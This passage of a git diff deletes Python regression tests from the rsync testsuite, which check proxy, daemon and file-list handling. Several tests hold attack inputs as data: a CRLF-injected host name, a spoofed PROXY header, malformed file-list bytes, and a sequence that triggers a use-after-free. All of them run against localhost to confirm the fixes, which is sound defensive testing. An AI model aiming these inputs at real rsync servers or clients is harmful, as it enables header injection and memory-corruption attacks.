reason.\\ndaemon log:\\n{new}\")\n-\n-print(\"proto-parent-ndx-empty-dirflist: a non-directory transfer root in the \"\n-      \"first inc_recurse flist is refused, not turned into a dir_flist->files[0] \"\n-      \"deref.\")\ndiff --git a/testsuite/proto-sender-selftest_test.py b/testsuite/proto-sender-selftest_test.py\ndeleted file mode 100644\nindex 92772d7..0000000\n--- a/testsuite/proto-sender-selftest_test.py\n+++ /dev/null\n@@ -1,97 +0,0 @@\n-#!/usr/bin/env python3\n-# Self-test / bitrot guard for the pure-Python rsync sender (rsync_proto.py).\n-#\n-# rsync_proto.py is a second, hand-written implementation of the rsync\n-# client/sender wire format, used to push (possibly malformed) file lists to a\n-# real daemon receiver for security regression tests without recompiling a\n-# patched rsync. Because it duplicates io.c / flist.c / compat.c on-wire\n-# behaviour, it can silently drift when the protocol changes. This test pins it\n-# against the rsync binary under test by checking that the daemon's\n-# recv_file_entry() actually parses the bytes we encode:\n-#\n-#   * the @RSYNCD handshake + protocol-30 setup completes (no exception), and\n-#   * a well-formed flat file list is parsed without any flist error, and\n-#   * an entry whose name length is encoded as XMIT_LONG_NAME + an absurd\n-#     varint trips recv_file_entry()'s \"overflow: xflags=...\" guard\n-#     (flist.c) -- which is only reachable if the daemon read our flags byte\n-#     and varint name-length exactly, proving the encoder is correct (a\n-#     desync would error elsewhere, or not at all).\n-#\n-# Needs a real TCP daemon (raw socket speaker), so it is skipped unless\n-# --use-tcp is in effect.\n-\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12944\n-require_tcp(\"the pure-Python sender needs a real TCP daemon; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'proto-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-conf = SCRATCHDIR / 'proto-selftest.conf'\n-log = SCRATCHDIR / 'proto-selftest.log'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/proto-rsyncd.pid\n-use chroot = no\n-log file = {log}\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-start_rsyncd(conf, PORT)\n-\n-SERVER_ARGS = ['--server', '-e.LsfxCIu', '.', 'mod/']\n-\n-\n-def push(raw_entries):\n-    \"\"\"Handshake, send a flat flist built from raw entry byte-strings, and\n-    return the daemon log text produced for this connection.\"\"\"\n-    before = log.read_text(errors='replace') if log.exists() else ''\n-    s = rp.DaemonSender('127.0.0.1', PORT)\n-    s.handshake('mod', SERVER_ARGS, greeting_version=30)\n-    buf = bytearray()\n-    for e in raw_entries:\n-        buf += e\n-    buf += rp.end_of_flist(0, s.protocol)\n-    s.send_data(bytes(buf))\n-    s.drain(timeout=2.0)\n-    s.close()\n-    for _ in range(50):\n-        text = log.read_text(errors='replace')\n-        if len(text) > len(before):\n-            break\n-        time.sleep(0.1)\n-    return text[len(before):]\n-\n-\n-# --- 1. a well-formed entry parses with no flist error ----------------------\n-good = rp.FileEntry('hello.txt', mode=rp.S_IFREG | 0o644, length=0).encode()\n-good_log = push([good])\n-if 'receiving file list' not in good_log:\n-    test_fail(\"daemon never reached 'receiving file list' for a well-formed \"\n-              f\"push -- handshake/setup encoding is wrong.\\nlog:\\n{good_log}\")\n-if 'overflow' in good_log:\n-    test_fail(\"a well-formed entry tripped the recv_file_entry overflow guard; \"\n-              f\"the encoder is mis-aligned.\\nlog:\\n{good_log}\")\n-\n-# --- 2. XMIT_LONG_NAME + an absurd varint name length is parsed and rejected -\n-# flags byte 0x58 = XMIT_LONG_NAME|XMIT_SAME_UID|XMIT_SAME_GID (no high bits,\n-# no XMIT_EXTENDED_FLAGS -> single byte); then a huge varint name length.\n-bad = (rp.w_byte(rp.XMIT_LONG_NAME | rp.XMIT_SAME_UID | rp.XMIT_SAME_GID)\n-       + rp.w_varint(0x7fffff) + b'xx')\n-bad_log = push([bad])\n-if 'overflow' not in bad_log:\n-    test_fail(\"daemon did NOT hit recv_file_entry's name-length overflow guard \"\n-              \"for an XMIT_LONG_NAME entry with a huge varint length; the flag \"\n-              f\"or varint encoding is wrong (the parser never saw it).\\n\"\n-              f\"log:\\n{bad_log}\")\n-\n-print(\"proto-sender-selftest: daemon's recv_file_entry parses rsync_proto's \"\n-      \"flags + varint name-length exactly (well-formed accepted, \"\n-      \"XMIT_LONG_NAME overflow rejected).\")\ndiff --git a/testsuite/proto-subflist-freed_test.py b/testsuite/proto-subflist-freed_test.py\ndeleted file mode 100644\nindex 93eaf9f..0000000\n--- a/testsuite/proto-subflist-freed_test.py\n+++ /dev/null\n@@ -1,82 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for a stale-dir_flist use-after-free on a sub-flist marker\n-# sent after every flist has been freed (flist.c recv_file_list).\n-#\n-# In inc_recurse mode the receiver frees each flist as it finishes. When the\n-# last goes, flist_free() sets first_flist = NULL and pool_destroy()s the shared\n-# file pool, but the global dir_flist is left pointing into the destroyed pool.\n-# A malicious sender that then sends an NDX_FLIST_OFFSET sub-flist marker made\n-# recv_file_list() write FLAG_GOT_DIR_FLIST into the freed dir_flist entry (a\n-# use-after-free) and re-create dir_flist, before the existing dirname !d guard\n-# turned the follow-on uninitialised deref into a clean RERR_UNSUPPORTED exit.\n-# The fix refuses the sub-flist up front when first_flist is NULL.\n-#\n-# This drives a real daemon receiver with the pure-Python sender, in\n-# inc_recurse mode (-r + an -e string containing 'i'): push a tiny top-level\n-# flist (two directories, so there is nothing to transfer and every flist is\n-# freed promptly), then send a sub-flist marker.\n-#\n-# Oracle: fixed -> the receiver logs \"refusing sub-flist after final flist was\n-# freed\" (RERR_PROTOCOL at the up-front guard). pre-fix -> that guard is absent;\n-# the receiver instead performs the use-after-free and exits later via the !d\n-# backstop (\"requested action not supported\"), so the refuse message never\n-# appears (and under ASan the UAF is a hard report). Normal-build oracle; only\n-# needs a real TCP daemon.\n-\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12958\n-require_tcp(\"the pure-Python sender needs a real TCP daemon; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'sf-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-conf = SCRATCHDIR / 'sf.conf'\n-log = SCRATCHDIR / 'sf.log'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/sf-rsyncd.pid\n-use chroot = no\n-log file = {log}\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-start_rsyncd(conf, PORT)\n-\n-before = log.read_text(errors='replace') if log.exists() else ''\n-s = rp.DaemonSender('127.0.0.1', PORT)\n-s.handshake('mod', ['--server', '-re.iLsfxCIu', '.', 'mod/'], greeting_version=30)\n-# Two top-level directories: nothing to transfer.\n-d = rp.FileEntry('d', mode=rp.S_IFDIR | 0o755, length=0, extra_flags=rp.XMIT_TOP_DIR)\n-s.send_data(d.encode() + d.encode() + rp.end_of_flist(0, s.protocol))\n-# One NDX_DONE frees the (single) top flist -> first_flist becomes NULL; then a\n-# sub-flist marker hits the \"after final flist freed\" guard. (More than one\n-# would advance phase past max_phase and break recv_files before the marker.)\n-s.send_ndx_done()\n-s.send_subflist_marker(0)\n-s.drain(timeout=2.0)\n-s.close()\n-\n-refused = False\n-for _ in range(50):\n-    new = log.read_text(errors='replace')[len(before):]\n-    if 'refusing sub-flist after final flist was freed' in new:\n-        refused = True\n-        break\n-    time.sleep(0.1)\n-\n-if not refused:\n-    new = log.read_text(errors='replace')[len(before):]\n-    test_fail(\n-        \"receiver did not refuse a sub-flist marker sent after all flists were \"\n-        \"freed -- it used the stale dir_flist (use-after-free).\\n\"\n-        f\"daemon log:\\n{new}\")\n-\n-print(\"proto-subflist-freed: receiver refused a sub-flist after the final flist \"\n-      \"was freed (no stale-dir_flist use-after-free).\")\ndiff --git a/testsuite/proxy-connect-request-too-long_test.py b/testsuite/proxy-connect-request-too-long_test.py\ndeleted file mode 100644\nindex eaf8850..0000000\n--- a/testsuite/proxy-connect-request-too-long_test.py\n+++ /dev/null\n@@ -1,10 +0,0 @@\n-#!/usr/bin/env python3\n-from rsyncfns import claim_ports, require_tcp\n-from rsyncfns import make_proxy_server, run_proxy_probe\n-\n-PORT = 12931\n-require_tcp(\"fake-proxy listener needs a real TCP socket; run with --use-tcp\")\n-claim_ports(PORT)\n-make_proxy_server(PORT, b\"\")\n-run_proxy_probe(PORT, 'a' * 1500 + '.invalid', 'proxy CONNECT request too long')\n-print(\"proxy-connect-request-too-long: oversized CONNECT request rejected before write\")\ndiff --git a/testsuite/proxy-host-crlf_test.py b/testsuite/proxy-host-crlf_test.py\ndeleted file mode 100644\nindex 134a5dd..0000000\n--- a/testsuite/proxy-host-crlf_test.py\n+++ /dev/null\n@@ -1,70 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test: with RSYNC_PROXY set, a daemon host containing CR/LF must be\n-# rejected before the HTTP CONNECT request is formatted, so an attacker can't\n-# smuggle extra header/request lines into the client->proxy stream.\n-\n-import os\n-import socket\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped\n-\n-base = SCRATCHDIR / 'proxy-crlf'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-# A throwaway proxy listener on an OS-assigned localhost port.\n-try:\n-    lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-    lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n-    lsock.bind(('127.0.0.1', 0))\n-    lsock.listen(1)\n-except OSError as e:\n-    test_skipped(f\"cannot bind a localhost proxy listener: {e}\")\n-proxy_port = lsock.getsockname()[1]\n-\n-env = os.environ.copy()\n-env['RSYNC_PROXY'] = f'127.0.0.1:{proxy_port}'\n-\n-# Daemon host with an embedded CRLF and an injected marker (no ':' so it is not\n-# mistaken for a host:port split). Pre-fix this lands verbatim in the\n-# \"CONNECT <host>:873 HTTP/1.0\" request line sent to the proxy.\n-marker = 'INJECTEDLINE'\n-host = f'evilhost\\r\\n{marker}'\n-\n-proc = subprocess.Popen(\n-    rsync_argv(f'rsync://{host}/mod/', str(base / 'out')),\n-    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, env=env)\n-\n-received = b''\n-try:\n-    lsock.settimeout(10)\n-    conn, _ = lsock.accept()\n-    conn.settimeout(5)\n-    try:\n-        while True:\n-            chunk = conn.recv(4096)\n-            if not chunk:\n-                break\n-            received += chunk\n-            if b'\\r\\n\\r\\n' in received or len(received) > 65536:\n-                break\n-    except socket.timeout:\n-        pass\n-    conn.close()\n-except socket.timeout:\n-    # Fix path: rsync may reject before connecting at all.\n-    pass\n-finally:\n-    lsock.close()\n-\n-out = proc.communicate(timeout=30)\n-out = (out[0] or '') + (out[1] or '')\n-\n-if marker.encode() in received:\n-    test_fail(\"CRLF-injected marker reached the proxy CONNECT stream:\\n\"\n-              + repr(received))\n-if proc.returncode == 0:\n-    test_fail(\"malicious proxy host unexpectedly produced a successful transfer\")\n-\n-print(\"proxy-host-crlf: control characters in the daemon host are rejected\")\ndiff --git a/testsuite/proxy-protocol-trusted-peer_test.py b/testsuite/proxy-protocol-trusted-peer_test.py\ndeleted file mode 100644\nindex 85a4958..0000000\n--- a/testsuite/proxy-protocol-trusted-peer_test.py\n+++ /dev/null\n@@ -1,46 +0,0 @@\n-#!/usr/bin/env python3\n-import socket\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_tcp, start_rsyncd, test_fail,\n-)\n-\n-PORT = 12933\n-require_tcp(\"PROXY protocol peer policy needs a real TCP daemon; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'proxy-proto-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-conf = SCRATCHDIR / 'proxy-proto.conf'\n-log = SCRATCHDIR / 'proxy-proto.log'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/rsyncd.pid\n-proxy protocol = true\n-use chroot = no\n-log file = {log}\n-\n-[mod]\n-    path = {mod}\n-    read only = yes\n-\"\"\")\n-start_rsyncd(conf, PORT)\n-\n-with socket.create_connection(('127.0.0.1', PORT), timeout=5) as s:\n-    s.sendall(b\"PROXY TCP4 10.9.8.7 127.0.0.1 12345 873\\r\\n\")\n-    try:\n-        data = s.recv(1024)\n-    except ConnectionResetError:\n-        data = b''\n-\n-if b'@RSYNCD' in data:\n-    test_fail(\"daemon trusted a PROXY header from an unlisted direct peer\")\n-log_text = log.read_text(errors='replace')\n-if 'proxy protocol rejected' not in log_text:\n-    test_fail(\"daemon did not log rejection of untrusted PROXY protocol peer\")\n-# This config sets \"proxy protocol = true\" with no \"proxy protocol hosts\", which\n-# fail-closes (rejects every peer); the daemon must warn about that at startup.\n-if 'proxy protocol hosts\" is unset' not in log_text:\n-    test_fail(\"daemon did not warn at startup that proxy-protocol with no \"\n-              \"trusted-proxy hosts rejects all connections\")\n-\n-print(\"proxy-protocol-trusted-peer: untrusted direct peer cannot spoof PROXY source IP\")\ndiff --git a/testsuite/proxy-response-header-too-long_test.py b/testsuite/proxy-response-header-too-long_test.py\ndeleted file mode 100644\nindex 0b152be..0000000\n--- a/testsuite/proxy-response-header-too-long_test.py\n+++ /dev/null\n@@ -1,10 +0,0 @@\n-#!/usr/bin/env python3\n-from rsyncfns import claim_ports, require_tcp\n-from rsyncfns import make_proxy_server, run_proxy_probe\n-\n-PORT = 12932\n-require_tcp(\"fake-proxy listener needs a real TCP socket; run with --use-tcp\")\n-claim_ports(PORT)\n-make_proxy_server(PORT, b\"HTTP/1.0 200 OK\\r\\n\" + b\"X\" * 1023)\n-run_proxy_probe(PORT, 'example.invalid', 'proxy response header line too long')\n-print(\"proxy-response-header-too-long: oversized proxy header line rejected\")\ndiff --git a/testsuite/proxy-response-line-too-long_test.py b/testsuite/proxy-response-line-too-long_test.py\ndeleted file mode 100644\nindex a1e7aa6..0000000\n--- a/testsuite/proxy-response-line-too-long_test.py\n+++ /dev/null\n@@ -1,102 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/proxy-response-line-too-long.test.\n-#\n-# Regression test for the off-by-one stack OOB write in\n-# establish_proxy_connection() when a malicious or man-in-the-middle\n-# HTTP proxy returned a first response line of 1023+ bytes without a\n-# '\\n' terminator. Post-fix, rsync must reject this with \"proxy\n-# response line too long\" and exit non-zero without dying from a signal.\n-\n-import os\n-import shutil\n-import socket\n-import subprocess\n-import sys\n-import threading\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_tcp, rsync_argv, test_fail, test_skipped,\n-)\n-\n-\n-# This test has no stdio-pipe equivalent: it binds a real loopback socket to\n-# stand in for a malicious HTTP proxy. Honour the secure default (no listening\n-# sockets) by only running it under --use-tcp.\n-require_tcp(\"fake-proxy listener needs a real TCP socket; run with --use-tcp\")\n-\n-if shutil.which('python3') is None:\n-    test_skipped(\"python3 not available\")\n-\n-workdir = SCRATCHDIR / 'workdir'\n-workdir.mkdir(parents=True, exist_ok=True)\n-os.chdir(workdir)\n-\n-# Reserve our proxy port across any concurrent test processes; another\n-# test asking for the same port blocks here until we exit.\n-PROXY_PORT = 12873\n-claim_ports(PROXY_PORT)\n-\n-# In-process listener: bind to the claimed port, accept one client, read\n-# up to end-of-headers (or 64 KiB), reply with exactly 1023 'X' bytes and\n-# no '\\n', then close. A thread is simpler than spawning python3 again\n-# and has the same effect on the rsync side.\n-listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n-listener.bind(('127.0.0.1', PROXY_PORT))\n-port = PROXY_PORT\n-listener.listen(1)\n-\n-\n-def _serve_one():\n-    conn, _ = listener.accept()\n-    conn.settimeout(5)\n-    try:\n-        data = b\"\"\n-        while b\"\\r\\n\\r\\n\" not in data and len(data) < 65536:\n-            chunk = conn.recv(8192)\n-            if not chunk:\n-                break\n-            data += chunk\n-    except socket.timeout:\n-        pass\n-    conn.sendall(b\"X\" * 1023)\n-    try:\n-        conn.shutdown(socket.SHUT_RDWR)\n-    except OSError:\n-        pass\n-    conn.close()\n-\n-\n-t = threading.Thread(target=_serve_one)\n-t.daemon = True\n-t.start()\n-\n-# Run rsync against the malicious proxy. The proxy intercepts CONNECT\n-# and never forwards, so the upstream URL is irrelevant.\n-env = os.environ.copy()\n-env['RSYNC_PROXY'] = f'127.0.0.1:{port}'\n-proc = subprocess.run(\n-    rsync_argv('rsync://example.invalid:873/whatever/', f'{workdir}/out/'),\n-    capture_output=True, text=True, env=env,\n-)\n-\n-t.join(timeout=15)\n-listener.close()\n-\n-status = proc.returncode\n-err = proc.stderr\n-\n-if status >= 128:\n-    sys.stderr.write(err)\n-    test_fail(f\"rsync killed by signal (status={status}) -- possible stack OOB regression\")\n-\n-if status == 0:\n-    sys.stderr.write(err)\n-    test_fail(\"rsync returned success despite malformed proxy response\")\n-\n-if 'proxy response line too long' not in err:\n-    sys.stderr.write(err)\n-    test_fail(\"expected 'proxy response line too long' in rsync stderr\")\n-\n-print(\"OK: over-long proxy response line rejected cleanly without crashing\")\ndiff --git a/testsuite/prune-empty-dirs_test.py b/testsuite/prune-empty-dirs_test.py\ndeleted file mode 100644\nindex c53adfb..0000000\n--- a/testsuite/prune-empty-dirs_test.py\n+++ /dev/null\n@@ -1,45 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of -m / --prune-empty-dirs at depth.\n-\n---prune-empty-dirs drops directory chains that would end up empty at the\n-destination -- both chains that are empty in the source and chains that become\n-empty because a filter excluded their only files. Populated chains are kept.\n-\"\"\"\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_not_exists, assert_same, makepath, rmtree, run_rsync,\n-)\n-\n-src = FROMDIR\n-\n-\n-def reseed():\n-    rmtree(src)\n-    rmtree(TODIR)\n-\n-\n-# --- a deep empty chain is pruned; a deep populated chain is kept ------------\n-reseed()\n-makepath(src / 'empty' / 'e1' / 'e2', src / 'full' / 'd1' / 'd2')\n-(src / 'full' / 'd1' / 'd2' / 'file').write_text(\"data\\n\")\n-\n-run_rsync('-a', '-m', f'{src}/', f'{TODIR}/')\n-assert_not_exists(TODIR / 'empty', label='-m pruned an empty chain')\n-assert_same(TODIR / 'full' / 'd1' / 'd2' / 'file',\n-            src / 'full' / 'd1' / 'd2' / 'file', label='-m kept populated chain')\n-\n-# --- a chain emptied by an exclude filter is also pruned --------------------\n-reseed()\n-makepath(src / 'mixed' / 'sub', src / 'onlylogs' / 'sub')\n-(src / 'mixed' / 'sub' / 'keep.txt').write_text(\"k\\n\")\n-(src / 'mixed' / 'sub' / 'drop.log').write_text(\"d\\n\")\n-(src / 'onlylogs' / 'sub' / 'a.log').write_text(\"a\\n\")\n-\n-run_rsync('-a', '-m', '--exclude=*.log', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / 'mixed' / 'sub' / 'keep.txt',\n-            src / 'mixed' / 'sub' / 'keep.txt', label='-m kept non-empty dir')\n-assert_not_exists(TODIR / 'onlylogs',\n-                  label='-m pruned a dir emptied by an exclude')\n-\n-print(\"prune-empty-dirs: empty and filter-emptied chains pruned, populated kept\")\ndiff --git a/testsuite/pseudo-paths-daemon_test.py b/testsuite/pseudo-paths-daemon_test.py\ndeleted file mode 100644\nindex f6d2d86..0000000\n--- a/testsuite/pseudo-paths-daemon_test.py\n+++ /dev/null\n@@ -1,226 +0,0 @@\n-\"\"\"Regression test for daemon log file silent failures with process substitution and pipes.\"\"\"\n-\n-import os\n-import signal\n-import shutil\n-import socket\n-import subprocess\n-import sys\n-import tempfile\n-import time\n-from pathlib import Path\n-\n-from rsyncfns import makepath, rmtree, rsync_argv, test_fail, test_skipped\n-\n-if not sys.platform.startswith('linux'):\n-    test_skipped('Namespace daemon testing is a Linux-specific feature')\n-    raise SystemExit(0)\n-\n-bash = shutil.which('bash')\n-if not bash:\n-    test_skipped('bash is not installed')\n-    raise SystemExit(0)\n-\n-# runtests.py exports POSIXLY_CORRECT=1, and bash before 5.1 disables process\n-# substitution in POSIX mode -- the very syntax bash is required for here.\n-bash_env = {k: v for k, v in os.environ.items() if k != 'POSIXLY_CORRECT'}\n-probe_bash = subprocess.run([bash, '-c', 'echo \"probe\" > >(cat > /dev/null)'], env=bash_env, capture_output=True)\n-if probe_bash.returncode != 0:\n-    test_skipped('bash process substitution is not supported on this system')\n-    raise SystemExit(0)\n-\n-def kill_daemon(proc):\n-    \"\"\"Safely terminate the daemon process group if it is still running.\"\"\"\n-    if proc.poll() is not None:\n-        return\n-    try:\n-        os.killpg(proc.pid, signal.SIGTERM)\n-    except ProcessLookupError:\n-        pass\n-    try:\n-        proc.wait(timeout=3)\n-    except subprocess.TimeoutExpired:\n-        try:\n-            os.killpg(proc.pid, signal.SIGKILL)\n-        except ProcessLookupError:\n-            pass\n-        proc.wait()\n-\n-ws_base = Path(tempfile.mkdtemp(prefix='rsync-pseudo-paths-daemon-'))\n-ws_base.chmod(0o777)\n-\n-try:\n-    ws_src = ws_base / 'src'\n-    makepath(ws_src)\n-    ws_src.chmod(0o777)\n-\n-    tf = ws_src / 'file.txt'\n-    tf.write_text('data\\n')\n-    tf.chmod(0o777)\n-\n-    rsync_bin = rsync_argv()[0]\n-    if not Path(rsync_bin).exists():\n-        test_fail(f\"rsync binary not found at {rsync_bin}\")\n-\n-    base_port = 20000 + (os.getpid() % 10000)\n-\n-    # -------------------------------------------------------------------------\n-    # TEST 1: Host Daemon (Normal Root) with > >(...) process substitution\n-    # -------------------------------------------------------------------------\n-    port_host = base_port\n-    print(f\"Running Test 1: Host Daemon (Normal Root) with > >(cat > out) (Port {port_host})...\", flush=True)\n-\n-    dest_host = ws_base / 'dest_host'\n-    makepath(dest_host)\n-    dest_host.chmod(0o777)\n-\n-    out_host = ws_base / 'out_host'\n-    err_host = ws_base / 'err_host'\n-    conf_host = ws_base / 'host.conf'\n-\n-    conf_host.write_text(f\"\"\"pid file = {ws_base}/host.pid\n-log file = /dev/stdout\n-[test-from]\n-path = {dest_host}\n-read only = no\n-use chroot = no\n-\"\"\")\n-\n-    cmd_host = f\"{rsync_bin} --daemon --no-detach --config={conf_host} --port={port_host} --address=127.0.0.1 > >(cat > {out_host}) 2> {err_host} < /dev/null\"\n-    \n-    # Executes directly as the host user\n-    daemon_host = subprocess.Popen([bash, '-c', cmd_host], env=bash_env, start_new_session=True)\n-    \n-    try:\n-        # Bounded readiness polling (Wait for daemon to bind to the port)\n-        for _ in range(50):\n-            if daemon_host.poll() is not None:\n-                test_fail(\"Host Daemon crashed immediately upon startup.\")\n-            try:\n-                with socket.create_connection(('127.0.0.1', port_host), timeout=0.1):\n-                    break # Port is open, daemon is ready\n-            except OSError:\n-                time.sleep(0.1)\n-        else:\n-            test_fail(\"Host Daemon failed to bind to port within the timeout period.\")\n-\n-        client_cmd_host = [rsync_bin, '-a', str(ws_src) + '/', f'rsync://127.0.0.1:{port_host}/test-from/']\n-        client_proc = subprocess.run(client_cmd_host, capture_output=True, text=True)\n-        \n-        if client_proc.returncode != 0:\n-            test_fail(f\"Client transfer failed against Host Daemon. Stderr: {client_proc.stderr.strip()}\")\n-\n-        # Poll up to a second for logs to flush through the pipe\n-        for _ in range(10):\n-            out_host_data = out_host.read_text() if out_host.exists() else \"\"\n-            if \"rsyncd version\" in out_host_data and \"test-from\" in out_host_data:\n-                break\n-            time.sleep(0.1)\n-\n-    finally:\n-        kill_daemon(daemon_host)\n-\n-    out_host_data = out_host.read_text() if out_host.exists() else \"\"\n-    err_host_data = err_host.read_text() if err_host.exists() else \"\"\n-\n-    if \"rsyncd version\" not in out_host_data or \"test-from\" not in out_host_data:\n-        test_fail(f\"Bug reproduced: Host Daemon silently dropped logs.\\n'out' file: {out_host_data}\\n'err' file: {err_host_data}\")\n-\n-    print(\"Test 1 Passed: Daemon successfully logged to out file on host.\", flush=True)\n-\n-    # -------------------------------------------------------------------------\n-    # TEST 2 SETUP: Namespace capabilities and configuration\n-    # -------------------------------------------------------------------------\n-    unshare = shutil.which('unshare')\n-    if not unshare:\n-        print(\"Test 2 Skipped: unshare is not installed\", flush=True)\n-        raise SystemExit(0)\n-\n-    launcher = []\n-    if os.geteuid() == 0:\n-        setpriv = shutil.which('setpriv')\n-        if setpriv is None:\n-            print(\"Test 2 Skipped: setpriv is unavailable for the root-run testsuite\", flush=True)\n-            raise SystemExit(0)\n-        launcher = [setpriv, '--reuid=65534', '--regid=65534', '--clear-groups']\n-\n-    unshare_argv = [unshare, '--user', '--map-root-user', '--mount', '--pid', '--fork', '--mount-proc']\n-\n-    probe_unshare = subprocess.run(launcher + unshare_argv + ['true'], stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    if probe_unshare.returncode != 0:\n-        print(\"Test 2 Skipped: user namespace is unavailable with the required unprivileged launcher\", flush=True)\n-        raise SystemExit(0)\n-\n-    check_ns = (\n-        \"import os, sys\\n\"\n-        \"proc_uid = os.lstat('/proc/self').st_uid\\n\"\n-        \"if proc_uid in (0, os.geteuid()):\\n\"\n-        \"    sys.exit(22)\\n\"\n-    )\n-    probe_uid = subprocess.run(launcher + unshare_argv + [sys.executable, '-c', check_ns])\n-    if probe_uid.returncode == 22:\n-        print(\"Test 2 Skipped: /proc/self does not expose an overflow uid in this namespace\", flush=True)\n-        raise SystemExit(0)\n-    elif probe_uid.returncode != 0:\n-        test_fail(f'Namespace uid check failed (rc={probe_uid.returncode})')\n-\n-    ns_rsync_bin = ws_base / 'rsync-bin'\n-    shutil.copy2(rsync_bin, ns_rsync_bin)\n-    ns_rsync_bin.chmod(0o777)\n-\n-    # -------------------------------------------------------------------------\n-    # TEST 2: Namespace Daemon with > >(...) process substitution\n-    # -------------------------------------------------------------------------\n-    port_ns = base_port + 1\n-    print(f\"Running Test 2: Namespace Daemon inside unshare --user (Port {port_ns})...\", flush=True)\n-\n-    dest_ns = ws_base / 'dest_ns'\n-    makepath(dest_ns)\n-    dest_ns.chmod(0o777)\n-\n-    out_ns = ws_base / 'out_ns'\n-    err_ns = ws_base / 'err_ns'\n-    conf_ns = ws_base / 'ns.conf'\n-\n-    conf_ns.write_text(f\"\"\"pid file = {ws_base}/ns.pid\n-log file = /dev/stdout\n-[test-from]\n-path = {dest_ns}\n-read only = no\n-use chroot = no\n-\"\"\")\n-\n-    cmd_ns = f\"{ns_rsync_bin} --daemon --no-detach --config={conf_ns} --port={port_ns} --address=127.0.0.1 > >(cat > {out_ns}) 2> {err_ns} < /dev/null\"\n-    \n-    namespace_cmd = launcher + unshare_argv + [bash, '-c', cmd_ns]\n-    daemon_ns = subprocess.Popen(namespace_cmd, env=bash_env, stdin=subprocess.DEVNULL, start_new_session=True)\n-    \n-    try:\n-        for _ in range(50):\n-            if daemon_ns.poll() is not None:\n-                test_fail(\"Namespace Daemon crashed immediately upon startup.\")\n-            try:\n-                with socket.create_connection(('127.0.0.1', port_ns), timeout=0.1):\n-                    break # Port is open, daemon is ready\n-            except OSError:\n-                time.sleep(0.1)\n-        else:\n-             test_fail(\"Namespace Daemon failed to bind to port within the timeout.\")\n-\n-        time.sleep(0.2)\n-\n-    finally:\n-        kill_daemon(daemon_ns)\n-\n-    out_ns_data = out_ns.read_text() if out_ns.exists() else \"\"\n-    err_ns_data = err_ns.read_text() if err_ns.exists() else \"\"\n-\n-    if \"rsyncd version\" not in out_ns_data:\n-        test_fail(f\"Bug reproduced: Namespace Daemon silently dropped logs.\\n'out' file: {out_ns_data}\\n'err' file: {err_ns_data}\")\n-\n-    print(\"Test 2 Passed: Daemon successfully logged inside unprivileged namespace.\", flush=True)\n-\n-finally:\n-    rmtree(ws_base)\n-\n-raise SystemExit(0)\ndiff --git a/testsuite/pseudo-paths_test.py b/testsuite/pseudo-paths_test.py\ndeleted file mode 100644\nindex 2c0a5b2..0000000\n--- a/testsuite/pseudo-paths_test.py\n+++ /dev/null\n@@ -1,365 +0,0 @@\n-\"\"\"Process substitution /dev/fd/ write pipe pseudo-paths for --log-file must not crash and must successfully write logs, but must be rejected if confined root.\"\"\"\n-\n-import os\n-import shlex\n-import shutil\n-import subprocess\n-import sys\n-import tempfile\n-from pathlib import Path\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-if not sys.platform.startswith('linux'):\n-    test_skipped('Kernel pseudo-path string is a Linux-specific procfs feature')\n-    raise SystemExit(0)\n-\n-# We require bash specifically because standard POSIX /bin/sh does not\n-# guarantee support for >(...) process substitution syntax.\n-bash = shutil.which('bash')\n-if bash is None:\n-    test_skipped('bash is unavailable, cannot test process substitution')\n-\n-# runtests.py exports POSIXLY_CORRECT=1, and bash before 5.1 disables process\n-# substitution in POSIX mode -- the very syntax bash is required for here.\n-bash_env = {k: v for k, v in os.environ.items() if k != 'POSIXLY_CORRECT'}\n-# Verify the host bash actually supports process substitution\n-probe = subprocess.run(\n-    [bash, '-c', 'echo \"probe\" > >(cat > /dev/null)'],\n-    capture_output=True,\n-    env=bash_env,\n-)\n-if probe.returncode != 0:\n-    test_skipped('bash process substitution is not supported on this system')\n-\n-base = Path(SCRATCHDIR / 'rsync-pseudo-path').resolve()\n-src = base / 'src'\n-dest = base / 'dest'\n-log_out = base / 'test_log.txt'\n-log_out_confined = base / 'test_log_confined.txt'\n-makepath(src, dest)\n-\n-(src / 'transfer_me.txt').write_text('sync this\\n')\n-\n-rsync_base_cmd = shlex.join(rsync_argv('-a'))\n-src_path = shlex.quote(str(src) + '/')\n-dest_path = 